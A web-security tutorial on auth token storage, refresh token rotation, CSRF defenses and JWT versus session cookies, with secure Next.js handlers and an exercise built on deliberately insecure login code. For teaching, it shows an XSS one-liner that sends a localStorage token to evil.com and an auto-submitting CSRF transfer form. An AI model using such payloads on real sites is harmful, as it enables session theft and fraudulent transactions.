Auth Tokens, Storage & Session Security
Where You Store Your Token Decides Your Security
The biggest auth security mistake in frontend development is storing JWT tokens in localStorage. It's convenient. It's simple. Every tutorial teaches it. And it turns every XSS vulnerability into a complete account takeover.
Here's why: localStorage is accessible to any JavaScript running on your page. If an attacker gets XSS — through a vulnerable dependency, a DOM injection, even a browser extension — they can read your token, send it to their server, and impersonate your user indefinitely.
// Attacker's XSS payload — one line to steal every user's session:
fetch('https://evil.com/steal?token=' + localStorage.getItem('auth_token'))
The token is now on the attacker's server. They can use it from any device, any location. And because JWTs are stateless, you can't revoke it — it's valid until it expires.
Think of where you store your house key. localStorage is like taping your key to the front door with a label that says "KEY." Anyone who walks by (any script on the page) can grab it. An httpOnly cookie is like keeping the key in a locked safe that only the door itself can access — your JavaScript can't touch it, and neither can an attacker's. The tradeoff is that you need to work with the door's rules (cookie behavior), but your key stays secure.
Token Storage Options Compared
localStorage / sessionStorage
// Storing token in localStorage
localStorage.setItem('token', jwt)
// Any script on the page can read it
const stolen = localStorage.getItem('token')
Verdict: Never use for auth tokens.
- Accessible to all JavaScript on the page (including XSS payloads)
- Persists across tabs and browser restarts (
localStorage) - No expiration mechanism built in
- Not sent automatically with requests (manual header management)
- XSS = complete token theft
httpOnly Cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
Verdict: The correct choice for most applications.
HttpOnly: JavaScript cannot read or write the cookie — blocks XSS token theftSecure: Only sent over HTTPSSameSite=Strict: Not sent on cross-origin requests — mitigates CSRF- Automatically sent with every request to the domain — no manual header management
- Server-controlled expiration
In-Memory Storage (JavaScript Variable)
let accessToken = null
function setToken(token) { accessToken = token }
function getToken() { return accessToken }
Verdict: Good for short-lived access tokens in SPAs, paired with httpOnly refresh cookies.
- Not accessible to XSS (no persistent storage to steal from)
- Lost on page refresh (which is a feature, not a bug, for sensitive tokens)
- Must be re-obtained on each page load via a refresh token in an httpOnly cookie
The Recommended Architecture: httpOnly Cookie + In-Memory Token
For modern SPAs, the gold standard is a dual-token architecture:
- Refresh token: Long-lived, stored in an
httpOnlycookie, used only to obtain new access tokens - Access token: Short-lived (5-15 minutes), stored in memory (JavaScript variable), used for API requests
User logs in:
POST /auth/login { email, password }
Response:
Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Strict; Path=/auth
Body: { accessToken: "eyJ..." }
User makes API call:
GET /api/data
Authorization: Bearer eyJ... (access token from memory)
Access token expires:
POST /auth/refresh
Cookie: refresh_token=xxx (sent automatically)
Response:
Set-Cookie: refresh_token=yyy; HttpOnly; Secure; SameSite=Strict; Path=/auth
Body: { accessToken: "eyJ..." } (new access token)
Why This Works
- XSS can't steal the refresh token — it's
httpOnly, JavaScript can't access it - XSS can't steal the access token persistently — it's in memory, gone on page refresh
- CSRF can't use the access token — it's in the
Authorizationheader, not a cookie - Short access token lifetime — even if somehow intercepted, window of exploitation is minutes, not days
Refresh token rotation explained
Refresh token rotation is the practice of issuing a new refresh token every time the old one is used. The old token is immediately invalidated.
Login → refresh_token_v1
Use v1 → refresh_token_v2, invalidate v1
Use v2 → refresh_token_v3, invalidate v2
If an attacker steals refresh_token_v1 and uses it after the legitimate user has already used it to get v2, the server detects that v1 was already consumed. This is a token reuse signal — the server should:
- Invalidate all refresh tokens for this user (v2 included)
- Force re-authentication
- Alert the user about suspicious activity
Without rotation, a stolen refresh token is valid for its entire lifetime (potentially days or weeks). With rotation, the window of exploitation narrows to the time between the theft and the next legitimate refresh.
CSRF: The Cookie Vulnerability
Cookies are sent automatically with every request to the domain. This is what makes httpOnly cookies convenient — but it's also what makes them vulnerable to Cross-Site Request Forgery (CSRF).
An attacker's page can trigger requests to your API, and the browser attaches your cookies:
<!-- On evil.com — the user's browser sends their session cookie to your-bank.com -->
<form action="https://your-bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>
The user visits evil.com while logged into your-bank.com. The form submits with the user's session cookie attached. The bank's server sees a valid session and processes the transfer.
CSRF Defenses
1. SameSite Cookies (Primary Defense)
Set-Cookie: session=abc; SameSite=Strict
SameSite=Strict: Cookie never sent on cross-origin requests. Strongest protection, but breaks legitimate cross-origin navigation (clicking a link from email to your site doesn't carry the cookie).SameSite=Lax(default in modern browsers): Cookie sent on top-level navigation (clicking a link) but not on cross-origin subrequests (form POSTs, fetch, iframes). Good balance of security and usability.SameSite=None: Cookie always sent (must also beSecure). Required for legitimate cross-origin use cases but provides zero CSRF protection.
2. CSRF Tokens (Defense in Depth)
// Server generates a random token per session and embeds it in the page
<meta name="csrf-token" content="random-token-abc">
// Client sends it with state-changing requests
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({ to: 'alice', amount: 100 })
})
The attacker's page can trigger requests with the cookie, but it cannot read the CSRF token from your page (Same-Origin Policy prevents it). Without the token, the server rejects the request.
3. Origin / Referer Header Validation
function validateOrigin(req) {
const origin = req.headers.origin || req.headers.referer
const allowed = new Set(['https://myapp.com'])
return allowed.has(new URL(origin).origin)
}
JWT vs Session Cookies: The Tradeoffs
JWT (JSON Web Tokens)
eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MH0.signature
Pros:
- Stateless — server doesn't need a session store
- Contains claims — server can read user data without a database lookup
- Works across services — any service with the public key can verify
Cons:
- Cannot be revoked before expiration (without a blacklist, which adds state)
- Larger than session IDs — more data per request
- Payload is base64, not encrypted — anyone can read the claims
- Key management complexity (rotation, algorithm choice)
Session Cookies
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax
Pros:
- Server-side revocation — delete the session from the store and it's gone
- Small (just an opaque ID)
- Server controls all session data — no client-side tampering possible
Cons:
- Requires server-side session store (Redis, database)
- Harder to scale across multiple services without shared session store
- Sticky sessions or shared state needed for horizontal scaling
Which Should You Use?
For most web applications: session cookies. They're simpler, revocable, and the "stateless" advantage of JWTs rarely justifies the security complexity.
For microservice architectures: JWTs as short-lived access tokens with session-based refresh tokens. The JWT lets services verify identity without hitting a shared session store. The session-based refresh token allows revocation.
Production Scenario: Implementing Secure Auth in a Next.js SPA
// /api/auth/login route handler
export async function POST(request) {
const { email, password } = await request.json()
const user = await authenticateUser(email, password)
if (!user) {
return Response.json({ error: 'Invalid credentials' }, { status: 401 })
}
const accessToken = signJWT(
{ sub: user.id, role: user.role },
{ expiresIn: '15m' }
)
const refreshToken = generateSecureRandom()
await storeRefreshToken(user.id, refreshToken)
const response = Response.json({ accessToken })
response.headers.set('Set-Cookie', [
`refresh_token=${refreshToken}`,
'HttpOnly',
'Secure',
'SameSite=Strict',
'Path=/api/auth',
'Max-Age=604800',
].join('; '))
return response
}
// /api/auth/refresh route handler
export async function POST(request) {
const refreshToken = request.cookies.get('refresh_token')?.value
if (!refreshToken) {
return Response.json({ error: 'No refresh token' }, { status: 401 })
}
const session = await validateAndRotateRefreshToken(refreshToken)
if (!session) {
return Response.json({ error: 'Invalid refresh token' }, { status: 401 })
}
const accessToken = signJWT(
{ sub: session.userId, role: session.role },
{ expiresIn: '15m' }
)
const response = Response.json({ accessToken })
response.headers.set('Set-Cookie', [
`refresh_token=${session.newRefreshToken}`,
'HttpOnly',
'Secure',
'SameSite=Strict',
'Path=/api/auth',
'Max-Age=604800',
].join('; '))
return response
}
Notice: the refresh token cookie's Path is restricted to /api/auth — it only gets sent to auth endpoints, not to every API call. This minimizes exposure.
| What developers do | What they should do |
|---|---|
| Storing JWTs in localStorage for convenience localStorage is accessible to all JavaScript on the page. Any XSS vulnerability lets attackers steal tokens and impersonate users indefinitely. httpOnly cookies cannot be read by JavaScript, and in-memory tokens are lost on page refresh — significantly reducing the impact of XSS. | Storing refresh tokens in httpOnly cookies and access tokens in memory |
| Using long-lived JWTs (hours or days) as the only auth mechanism Long-lived JWTs cannot be revoked without server-side state. If stolen, the attacker has access for the entire token lifetime. Short-lived access tokens limit the damage window, and refresh token rotation detects stolen tokens when they are reused. | Using short-lived access tokens (5-15 minutes) with refresh token rotation |
| Relying only on SameSite cookies for CSRF protection SameSite=Lax does not protect against all CSRF vectors — top-level GET navigation still sends cookies, and some attacks can exploit this. Defense in depth with CSRF tokens for state-changing requests provides an additional layer that does not rely solely on browser behavior. | Using SameSite cookies as the primary defense with CSRF tokens as defense in depth |
Try to solve it before peeking at the answer.
// Login handler
app.post('/login', async (req, res) => {
const user = await authenticate(req.body)
const token = jwt.sign(
{ id: user.id, role: user.role, email: user.email },
'my-secret-key',
{ expiresIn: '30d' }
)
res.json({ token })
})
// Client storage
localStorage.setItem('token', response.token)
// Logout
app.post('/logout', (req, res) => {
res.json({ message: 'Logged out' })
})- 1Never store auth tokens in localStorage or sessionStorage — use httpOnly cookies for refresh tokens and memory for access tokens
- 2Keep access tokens short-lived (5-15 minutes) and implement refresh token rotation with reuse detection
- 3Always set httpOnly, Secure, SameSite, and Path on auth cookies — each attribute closes a different attack vector
- 4Use CSRF tokens as defense in depth alongside SameSite cookies for state-changing requests
- 5JWTs are base64, not encrypted — never put sensitive data in the payload
- 6Logout must actually invalidate the session server-side — client-side token deletion alone is insufficient